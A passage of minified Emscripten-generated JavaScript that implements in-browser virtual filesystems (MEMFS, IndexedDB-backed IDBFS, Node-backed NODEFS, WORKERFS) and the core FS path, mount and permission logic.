contents=stream.node.contents;if(!(flags&2)&&(contents.buffer===buffer||contents.buffer===buffer.buffer)){allocated=false;ptr=contents.byteOffset}else{if(position>0||position+length<stream.node.usedBytes){if(contents.subarray){contents=contents.subarray(position,position+length)}else{contents=Array.prototype.slice.call(contents,position,position+length)}}allocated=true;ptr=_malloc(length);if(!ptr){throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)}buffer.set(contents,ptr)}return{ptr:ptr,allocated:allocated}}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(mmapFlags&2){return 0}var bytesWritten=MEMFS.stream_ops.write(stream,buffer,0,length,offset,false);return 0})}};var IDBFS={dbs:{},indexedDB:(function(){if(typeof indexedDB!==\"undefined\")return indexedDB;var ret=null;if(typeof window===\"object\")ret=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB;assert(ret,\"IDBFS used, but indexedDB not supported\");return ret}),DB_VERSION:21,DB_STORE_NAME:\"FILE_DATA\",mount:(function(mount){return MEMFS.mount.apply(null,arguments)}),syncfs:(function(mount,populate,callback){IDBFS.getLocalSet(mount,(function(err,local){if(err)return callback(err);IDBFS.getRemoteSet(mount,(function(err,remote){if(err)return callback(err);var src=populate?remote:local;var dst=populate?local:remote;IDBFS.reconcile(src,dst,callback)}))}))}),getDB:(function(name,callback){var db=IDBFS.dbs[name];if(db){return callback(null,db)}var req;try{req=IDBFS.indexedDB().open(name,IDBFS.DB_VERSION)}catch(e){return callback(e)}if(!req){return callback(\"Unable to connect to IndexedDB\")}req.onupgradeneeded=(function(e){var db=e.target.result;var transaction=e.target.transaction;var fileStore;if(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)){fileStore=transaction.objectStore(IDBFS.DB_STORE_NAME)}else{fileStore=db.createObjectStore(IDBFS.DB_STORE_NAME)}if(!fileStore.indexNames.contains(\"timestamp\")){fileStore.createIndex(\"timestamp\",\"timestamp\",{unique:false})}});req.onsuccess=(function(){db=req.result;IDBFS.dbs[name]=db;callback(null,db)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),getLocalSet:(function(mount,callback){var entries={};function isRealDir(p){return p!==\".\"&&p!==\"..\"}function toAbsolute(root){return(function(p){return PATH.join2(root,p)})}var check=FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));while(check.length){var path=check.pop();var stat;try{stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){check.push.apply(check,FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))}entries[path]={timestamp:stat.mtime}}return callback(null,{type:\"local\",entries:entries})}),getRemoteSet:(function(mount,callback){var entries={};IDBFS.getDB(mount.mountpoint,(function(err,db){if(err)return callback(err);var transaction=db.transaction([IDBFS.DB_STORE_NAME],\"readonly\");transaction.onerror=(function(e){callback(this.error);e.preventDefault()});var store=transaction.objectStore(IDBFS.DB_STORE_NAME);var index=store.index(\"timestamp\");index.openKeyCursor().onsuccess=(function(event){var cursor=event.target.result;if(!cursor){return callback(null,{type:\"remote\",db:db,entries:entries})}entries[cursor.primaryKey]={timestamp:cursor.key};cursor.continue()})}))}),loadLocalEntry:(function(path,callback){var stat,node;try{var lookup=FS.lookupPath(path);node=lookup.node;stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){return callback(null,{timestamp:stat.mtime,mode:stat.mode})}else if(FS.isFile(stat.mode)){node.contents=MEMFS.getFileDataAsTypedArray(node);return callback(null,{timestamp:stat.mtime,mode:stat.mode,contents:node.contents})}else{return callback(new Error(\"node type not supported\"))}}),storeLocalEntry:(function(path,entry,callback){try{if(FS.isDir(entry.mode)){FS.mkdir(path,entry.mode)}else if(FS.isFile(entry.mode)){FS.writeFile(path,entry.contents,{encoding:\"binary\",canOwn:true})}else{return callback(new Error(\"node type not supported\"))}FS.chmod(path,entry.mode);FS.utime(path,entry.timestamp,entry.timestamp)}catch(e){return callback(e)}callback(null)}),removeLocalEntry:(function(path,callback){try{var lookup=FS.lookupPath(path);var stat=FS.stat(path);if(FS.isDir(stat.mode)){FS.rmdir(path)}else if(FS.isFile(stat.mode)){FS.unlink(path)}}catch(e){return callback(e)}callback(null)}),loadRemoteEntry:(function(store,path,callback){var req=store.get(path);req.onsuccess=(function(event){callback(null,event.target.result)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),storeRemoteEntry:(function(store,path,entry,callback){var req=store.put(entry,path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),removeRemoteEntry:(function(store,path,callback){var req=store.delete(path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),reconcile:(function(src,dst,callback){var total=0;var create=[];Object.keys(src.entries).forEach((function(key){var e=src.entries[key];var e2=dst.entries[key];if(!e2||e.timestamp>e2.timestamp){create.push(key);total++}}));var remove=[];Object.keys(dst.entries).forEach((function(key){var e=dst.entries[key];var e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return callback(null)}var completed=0;var db=src.type===\"remote\"?src.db:dst.db;var transaction=db.transaction([IDBFS.DB_STORE_NAME],\"readwrite\");var store=transaction.objectStore(IDBFS.DB_STORE_NAME);function done(err){if(err){if(!done.errored){done.errored=true;return callback(err)}return}if(++completed>=total){return callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type===\"local\"){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type===\"local\"){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(\/^win\/)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return NODEFS.createNode(null,\"\/\",NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return node}),getMode:(function(path){var stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&146)>>1}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return stat.mode}),realPath:(function(node){var parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return PATH.join.apply(null,parts)}),flagsToPermissionStringMap:{0:\"r\",1:\"r+\",2:\"r+\",64:\"r\",65:\"r+\",66:\"r+\",129:\"rx+\",193:\"rx+\",514:\"w+\",577:\"w\",578:\"w+\",705:\"wx\",706:\"wx+\",1024:\"a\",1025:\"a\",1026:\"a+\",1089:\"a\",1090:\"a+\",1153:\"ax\",1154:\"ax+\",1217:\"ax\",1218:\"ax+\",4096:\"rs\",4098:\"rs+\"},flagsToPermissionString:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;if(flags in NODEFS.flagsToPermissionStringMap){return NODEFS.flagsToPermissionStringMap[flags]}else{throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var path=NODEFS.realPath(node);var stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)\/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var date=new Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);var mode=NODEFS.getMode(path);return NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var node=NODEFS.createNode(parent,name,mode,dev);var path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,\"\",{mode:node.mode})}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return node}),rename:(function(oldNode,newDir,newName){var oldPath=NODEFS.realPath(oldNode);var newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var path=NODEFS.realPath(node);try{return fs.readdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return path}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsToPermissionString(stream.flags))}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return 0;var nbuffer=new Buffer(length);var res;try{res=fs.readSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(res>0){for(var i=0;i<res;i++){buffer[offset+i]=nbuffer[i]}}return res}),write:(function(stream,buffer,offset,length,position){var nbuffer=new Buffer(buffer.subarray(offset,offset+length));var res;try{res=fs.writeSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}return res}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){try{var stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};var WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new FileReaderSync;var root=WORKERFS.createNode(null,\"\/\",WORKERFS.DIR_MODE,0);var createdParents={};function ensureParent(path){var parts=path.split(\"\/\");var parent=root;for(var i=0;i<parts.length-1;i++){var curr=parts.slice(0,i+1).join(\"\/\");if(!createdParents[curr]){createdParents[curr]=WORKERFS.createNode(parent,parts[i],WORKERFS.DIR_MODE,0)}parent=createdParents[curr]}return parent}function base(path){var parts=path.split(\"\/\");return parts[parts.length-1]}Array.prototype.forEach.call(mount.opts[\"files\"]||[],(function(file){WORKERFS.createNode(ensureParent(file.name),base(file.name),WORKERFS.FILE_MODE,0,file,file.lastModifiedDate)}));(mount.opts[\"blobs\"]||[]).forEach((function(obj){WORKERFS.createNode(ensureParent(obj[\"name\"]),base(obj[\"name\"]),WORKERFS.FILE_MODE,0,obj[\"data\"])}));(mount.opts[\"packages\"]||[]).forEach((function(pack){pack[\"metadata\"].files.forEach((function(file){var name=file.filename.substr(1);WORKERFS.createNode(ensureParent(name),base(name),WORKERFS.FILE_MODE,0,pack[\"blob\"].slice(file.start,file.end))}))}));return root}),createNode:(function(parent,name,mode,dev,contents,mtime){var node=FS.createNode(parent,name,mode);node.mode=mode;node.node_ops=WORKERFS.node_ops;node.stream_ops=WORKERFS.stream_ops;node.timestamp=(mtime||new Date).getTime();assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE);if(mode===WORKERFS.FILE_MODE){node.size=contents.size;node.contents=contents}else{node.size=4096;node.contents={}}if(parent){parent.contents[name]=node}return node}),node_ops:{getattr:(function(node){return{dev:1,ino:undefined,mode:node.mode,nlink:1,uid:0,gid:0,rdev:undefined,size:node.size,atime:new Date(node.timestamp),mtime:new Date(node.timestamp),ctime:new Date(node.timestamp),blksize:4096,blocks:Math.ceil(node.size\/4096)}}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}}),lookup:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}),mknod:(function(parent,name,mode,dev){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rename:(function(oldNode,newDir,newName){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),unlink:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rmdir:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readdir:(function(node){var entries=[\".\",\"..\"];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newName,oldPath){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readlink:(function(node){throw new FS.ErrnoError(ERRNO_CODES.EPERM)})},stream_ops:{read:(function(stream,buffer,offset,length,position){if(position>=stream.node.size)return 0;var chunk=stream.node.contents.slice(position,position+length);var ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new Uint8Array(ab),offset);return chunk.size}),write:(function(stream,buffer,offset,length,position){throw new FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var FS={root:null,mounts:[],devices:[null],streams:[],nextInode:1,nameTable:null,currentPath:\"\/\",initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e instanceof FS.ErrnoError))throw e+\" : \"+stackTrace();return ___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:\"\",node:null};var defaults={follow_mount:true,recurse_count:0};for(var key in defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}var parts=PATH.normalizeArray(path.split(\"\/\").filter((function(p){return!!p})),false);var current=FS.root;var current_path=\"\/\";for(var i=0;i<parts.length;i++){var islast=i===parts.length-1;if(islast&&opts.parent){break}current=FS.lookupNode(current,parts[i]);current_path=PATH.join2(current_path,parts[i]);if(FS.isMountpoint(current)){if(!islast||islast&&opts.follow_mount){current=current.mounted.root}}if(!islast||opts.follow){var count=0;while(FS.isLink(current.mode)){var link=FS.readlink(current_path);current_path=PATH.resolve(PATH.dirname(current_path),link);var lookup=FS.lookupPath(current_path,{recurse_count:opts.recurse_count});current=lookup.node;if(count++>40){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var path;while(true){if(FS.isRoot(node)){var mount=node.mount.mountpoint;if(!path)return mount;return mount[mount.length-1]!==\"\/\"?mount+\"\/\"+path:mount+path}path=path?node.name+\"\/\"+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var hash=0;for(var i=0;i<name.length;i++){hash=(hash<<5)-hash+name.charCodeAt(i)|0}return(parentid+hash>>>0)%FS.nameTable.length}),hashAddNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var err=FS.mayLookup(parent);if(err){throw new FS.ErrnoError(err,parent)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var readMode=292|73;var writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return FS.isDir(this.mode)})},isDevice:{get:(function(){return FS.isChrdev(this.mode)})}})}var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{\"r\":0,\"rs\":1052672,\"r+\":2,\"w\":577,\"wx\":705,\"xw\":705,\"w+\":578,\"wx+\":706,\"xw+\":706,\"a\":1089,\"ax\":1217,\"xa\":1217,\"a+\":1090,\"ax+\":1218,\"xa+\":1218},modeStringToFlags:(function(str){var flags=FS.flagModes[str];if(typeof flags===\"undefined\"){throw new Error(\"Unknown file open mode: \"+str)}return flags}),flagsToPermissionString:(function(flag){var perms=[\"r\",\"w\",\"rw\"][flag&3];if(flag&512){perms+=\"w\"}return perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return 0}if(perms.indexOf(\"r\")!==-1&&!(node.mode&292)){return ERRNO_CODES.EACCES}else if(perms.indexOf(\"w\")!==-1&&!(node.mode&146)){return ERRNO_CODES.EACCES}else if(perms.indexOf(\"x\")!==-1&&!(node.mode&73)){return ERRNO_CODES.EACCES}return 0}),mayLookup:(function(dir){var err=FS.nodePermissions(dir,\"x\");if(err)return err;if(!dir.node_ops.lookup)return ERRNO_CODES.EACCES;return 0}),mayCreate:(function(dir,name){try{var node=FS.lookupNode(dir,name);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(dir,\"wx\")}),mayDelete:(function(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var err=FS.nodePermissions(dir,\"wx\");if(err){return err}if(isdir){if(!FS.isDir(node.mode)){return ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return ERRNO_CODES.EISDIR}}return 0}),mayOpen:(function(node,flags){if(!node){return ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return ERRNO_CODES.ELOOP}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!==\"r\"||flags&512){return ERRNO_CODES.EISDIR}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return this.flags&1024})}})}var newStream=new FS.FSStream;for(var p in stream){newStream[p]=stream[p]}stream=newStream;var fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return dev>>8}),minor:(function(dev){return dev&255}),makedev:(function(ma,mi){return ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return FS.devices[dev]}),getMounts:(function(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return mounts}),syncfs:(function(populate,callback){if(typeof populate===\"function\"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log(\"warning: \"+FS.syncFSRequests+\" FS.syncfs operations in flight at once, probably just doing extra work\")}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return callback(err)}function done(err){if(err){if(!done.errored){done.errored=true;return doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var root=mountpoint===\"\/\";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot}),unmount:(function(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var current=FS.nameTable[hash];while(current){var next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name||name===\".\"||name===\"..\"){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.mayCreate(parent,name);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var dirs=path.split(\"\/\");var d=\"\";for(var i=0;i<dirs.length;++i){if(!dirs[i])continue;d+=\"\/\"+dirs[i];try{FS.mkdir(d,mode)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw e}}}),mkdev:(function(path,mode,dev){if(typeof dev===\"undefined\"){dev=mode;mode=438}mode|=8192;return FS.mknod(path,mode,dev)}),symlink:(function(oldpath,newpath){if(!PATH.resolve(oldpath)){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var lookup=FS.lookupPath(newpath,{parent:true});var parent=lookup.node;if(!parent){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var newname=PATH.basename(newpath);var err=FS.mayCreate(parent,newname);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.symlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.symlink(parent,newname,oldpath)}),rename:(function(old_path,new_path){var old_dirname=PATH.dirname(old_path);var new_dirname=PATH.dirname(new_path);var old_name=PATH.basename(old_path);var new_name=PATH.basename(new_path);var lookup,old_dir,new_dir;try{lookup=FS.lookupPath(old_path,{parent:true});old_dir=lookup.node;lookup=FS.lookupPath(new_path,{parent:true});new_dir=lookup.node}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!old_dir||!new_dir)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(old_dir.mount!==new_dir.mount){throw new FS.ErrnoError(ERRNO_CODES.EXDEV)}var old_node=FS.lookupNode(old_dir,old_name);var relative=PATH.relative(old_path,new_dirname);if(relative.charAt(0)!==\".\"){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}relative=PATH.relative(new_path,old_dirname);if(relative.charAt(0)!==\".\"){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(old_node===new_node){return}var isdir=FS.isDir(old_node.mode);var err=FS.mayDelete(old_dir,old_name,isdir);if(err){throw new FS.ErrnoError(err)}err=new_node?FS.mayDelete(new_dir,new_name,isdir):FS.mayCreate(new_dir,new_name);if(err){throw new FS.ErrnoError(err)}if(!old_dir.node_ops.rename){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(old_node)||new_node&&FS.isMountpoint(new_node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(new_dir!==old_dir){err=FS.nodePermissions(old_dir,\"w\");if(err){throw new FS.ErrnoError(err)}}try{if(FS.trackingDelegate[\"willMovePath\"]){FS.trackingDelegate[\"willMovePath\"](old_path,new_path)}}catch(e){console.log(\"FS.trackingDelegate['willMovePath']('\"+old_path+\"', '\"+new_path+\"') threw an exception: \"+e.message)}FS.hashRemoveNode(old_node);try{old_dir.node_ops.rename(old_node,new_dir,new_name)}catch(e){throw e}finally{FS.hashAddNode(old_node)}try{if(FS.trackingDelegate[\"onMovePath\"])FS.trackingDelegate[\"onMovePath\"](old_path,new_path)}catch(e){console.log(\"FS.trackingDelegate['onMovePath']('\"+old_path+\"', '\"+new_path+\"') threw an exception: \"+e.message)}}),rmdir:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,true);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.rmdir){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\"willDeletePath\"]){FS.trackingDelegate[\"willDeletePath\"](path)}}catch(e){console.log(\"FS.trackingDelegate['willDeletePath']('\"+path+\"') threw an exception: \"+e.message)}parent.node_ops.rmdir(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\"onDeletePath\"])FS.trackingDelegate[\"onDeletePath\"](path)}catch(e){console.log(\"FS.trackingDelegate['onDeletePath']('\"+path+\"') threw an exception: \"+e.message)}}),readdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;if(!node.node_ops.readdir){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}return node.node_ops.readdir(node)}),unlink:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,false);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.unlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new 